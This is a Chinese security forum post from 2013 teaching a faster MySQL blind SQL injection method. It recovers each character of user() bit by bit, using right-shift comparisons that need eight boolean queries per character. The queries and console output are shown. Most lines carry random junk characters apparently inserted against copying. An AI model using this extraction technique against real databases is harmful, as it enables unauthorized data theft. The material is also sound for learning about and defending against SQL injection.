找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1928|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
0 E& R5 t9 U4 n: M$ n- p3 a! Y
* F- X" G' K8 q& U6 c) A% ? 2 }7 |% X" |# ~

1 ?9 F) X$ U+ _. r! \) C0 _7 P下面将以查询mysql数据库当中user()的第一位为例:
* W+ _* q; z# C3 B0 R- g/ ^( |, D1 [/ N) U/ A: ~

6 M: `$ p  x1 Z1 L( H: [3 V- S
# I: }* g. r3 Yps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
+ l" m* G. U7 j
0 x: o" h8 L; k1 m% o3 I2 A
0 ]( D/ D6 }- v1 J% c! V8 S# O! m, P9 e* Y: W: R; r9 a- v* }  e/ l
首先执行如下sql语句:% O6 b5 Z3 E- E% Z7 o

  m2 d+ ~, E# d7 g3 Y" i. b/ z. O3 ~
6 Y! U. M/ X! e! M! Q3 G
4 u4 B% G$ N; V6 kmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
! B3 Y- f4 p; Q! W* d- ]) [4 h  G, i( b. ]8 t5 p! i
/ t% }0 [2 ]* r( _) y

6 ?: l  Y' Y2 Y! U" u4 w5 t4 f/ `我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的. I$ z$ x: U& [

) l3 R# X6 J, T3 M4 Q: |
1 [4 q9 O* s+ Z# z' E/ q2 F! e1 i1 @- F0 ]+ N6 P. H
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
2 ?' p8 b& j0 z! S  h- V5 w
$ `: [3 L+ n# {) R" ~1 P8 x2 g( a
8 p1 n( c) s; \6 v$ ]/ G& u/ Q/ j% X" c; N( {) i0 q0 h
如果运算结果为1,说明第一位为0,不为1. d6 r$ n: t2 p- ~* c& ?
; p" m: s) C* x

1 [0 J, v# p3 J# ~0 y" g  A) }% l$ J" {( i; d4 N4 g
+————————————–+. y6 [; Y) P4 E( O
6 M6 B8 H& E" n
| (ascii((substr(user(),1,1))) >> 7)=0 |' |4 O+ a  k8 U8 _# u

4 Q0 `" K* I" B+————————————–+5 R8 P; f8 e/ a

) Q, C) g% s* B| 1 |: |" U/ e! M' {8 T, o
! i, e) X# B. @  `
+————————————–+
& C  g. F9 U, A0 [3 o2 x! }5 B( Y1 A: f$ ^
1 row in set (0.00 sec)- g. }3 |" y" ^1 A/ G- F

$ @# M* k8 f& _& I& ~6 {1 r/ R这样我们就确定这个8bit的ascii的第一位为0
6 R8 Y4 R5 w8 s# P% {. N9 s7 L- h6 ?; ?
& J& f% B. L4 P/ b" g5 E! k

5 j( L) H( j# i( Q5 k$ J第二次我们来做6次右偏移来确定前两位
4 E  @4 z7 h$ X
6 l+ P6 w5 \* m! _1 |! W
4 x* L! q  z' S6 }, i" n7 e  _8 W" s$ M) Q" b, v- ^
前两位可能是01或00,即依然可以与0做比较,+ D9 }6 c* C2 |5 ^: e. f" G* v( c1 }
- E7 \' v" i% l% z! W# L' K
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
5 F. _! A8 I- {( b. Y( v
) ^, C+ I" p* z7 o" b+————————————–+
/ A; S  n6 |+ Y+ i) o
7 P5 d: ^9 D+ c* \6 E| (ascii((substr(user(),1,1))) >> 6)=0 |
* t$ ^6 I. g/ b& m3 s5 E7 N
+ d+ K  k1 I+ p# s+————————————–+  {1 Q* f4 T, f$ p

3 S1 v6 L% ~" o: r0 b| 0 |1 e* I& e4 l9 e; V9 u+ n; |

( ^& U" F9 T2 H- n' G% M6 P! q6 F+————————————–+) Q) [/ Y3 E! u, ]
& a& f* X  A+ a* v2 g2 U
1 row in set (0.00 sec)
$ {" V1 h8 `9 @' o% j, w$ h+ d% u; L+ }* ^" a& `  A  b

- z/ T  ^5 E8 E4 O% r* w
1 t! g0 O6 O2 Z3 |& O1 y结果为0,即第二位为14 P$ G3 y2 f& I; D& @& S
. i8 h( y2 M8 x. i7 T

+ X1 H1 \! X( y2 u- s  d4 H! [$ H' P8 r6 z$ S. j' i, h8 }
开始猜测前三位为010或0119 R+ d; Z1 I' u0 V( e# C( h

7 [, e# {+ W1 j3 U; N , b( z9 m1 t& ^  |' W* k4 I% j! E
; {! X1 Q, P9 g- J! V
让我们看看010和011的ascii码是多少
8 U: d7 T* _3 e" M
$ w, x) N4 V& Z7 d) m 0 c4 @# n' B! S1 o
( e, m5 p9 b+ E; y" z8 J
分别查询select b’011′ select b’010′
: N( Y2 N. \" m2 S6 O  f! }6 v* d1 D5 F4 n$ X
1 d% _, b" {& {2 Q, |/ u

. k& N2 s' |1 ~4 l$ \获得结果 010 = 2 011 = 3- a( v5 }& x, |' v- b1 K( J1 G
( {$ v5 U5 k! z9 ?+ o

! L: c9 g' N" }
; K+ S0 @- e; w7 ?% Y* n执行如下sql:
# `( z' V4 D3 I) {  n% w" K5 N
' V9 T" f/ x$ o. U% ^
, N, T5 F) ]% q+ x$ r, m
0 U4 n, ^4 @; z2 L0 A7 amysql> select (ascii((substr(user(),1,1))) >> 5)=2;
% z3 c2 X8 Q/ Z
- c, ^- S2 ^8 j2 _+————————————–+
3 G( C- }0 ]; {. O2 ~7 X, v" C6 w1 o5 g. K3 ^2 |  `2 R
| (ascii((substr(user(),1,1))) >> 5)=2 |
: A- V) p! x: A& n: ~, Z5 d' d2 y4 V8 S6 u
+————————————–+
  K+ A1 b/ M- J$ O- e& ?/ w3 T
/ ?- n. e) n) l5 Y* X3 g' O| 0 |
) A+ C) e6 y9 C; U. |  |0 Z& d
7 X. T8 b1 h$ i9 v3 }+————————————–+7 E4 i* a8 F. p3 A5 b
2 H4 n; K6 {2 T0 v* j& G( A
即前三位不为010,而是011
) U+ B/ S# C3 G* B! K  v
4 D% }, T# A* W/ C) }! [
% U" V+ |2 ?3 V/ X" g$ h' O! [% M1 W, @" W9 ]  x! u
直到获得最后一位
7 w$ ^  d+ q7 m" b" V( I4 f: z+ G: `

% b& G  U/ G, x2 p% m& m" l$ k$ W& x
最终结果为:01110010
+ X# q& T. p" U: T
: ]& S2 f  z! b8 Z
, ~) M. R. v7 p# S$ h
1 u- R- \' b5 N- o" b转换一下:
6 b5 ~$ v$ t8 B, R. S& R2 D& J2 ]# {+ M

: O4 h; v: H+ g& ~6 C) Y( v* i  ]* v7 G: a# R3 {; b8 W; @; o
select b’01110010′
- y# }: C6 Q( X$ F: s" ?0 O0 Q+ K! J; o) z) I4 k. m

, `" [2 h. @) f; `& x
$ ^# X. V+ Q1 n查询结果" ]6 e7 O& C6 [" w2 m3 t% ^3 i- t, D2 E
& e/ J+ ^: D6 O0 @( _% }
! p3 ~* U" t# ?( g
& F, z7 Z8 |. ]+ [$ r& r; ?* o
+————-+
9 g; c# o  K4 E6 [, t2 {" f; I5 @4 j2 Q. H0 T5 z; H
| b’01110010′ |
8 P5 \; r! d+ t# t3 q6 h: [+ e" }1 ]1 d6 g- Y. K
+————-+' \0 O1 ~0 m0 I$ a4 K0 o* \

+ @; \- S) S" s9 ^* L2 X| r |
9 g$ h% L: O( u5 m) C$ D  _+ c0 _
0 x3 p1 B) ?& c0 c  q+————-+
) M; a: b. Z7 d, X& X( J
/ s' f. \2 D4 k& a( p+ P7 [, n1 row in set (0.00 sec)* f, `: Z3 g6 M3 c6 Y( s6 V+ ^) N
/ Z, W/ X" d. B& W2 J; ~
6 D7 M0 x# D3 C" m7 `' ?8 J

7 r: M+ s4 @! {: h这样我们就获得了user()的第一位.其它位依此类推
( y+ K9 {  M' ~. w* o' E
% e  d( |' {! |# n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表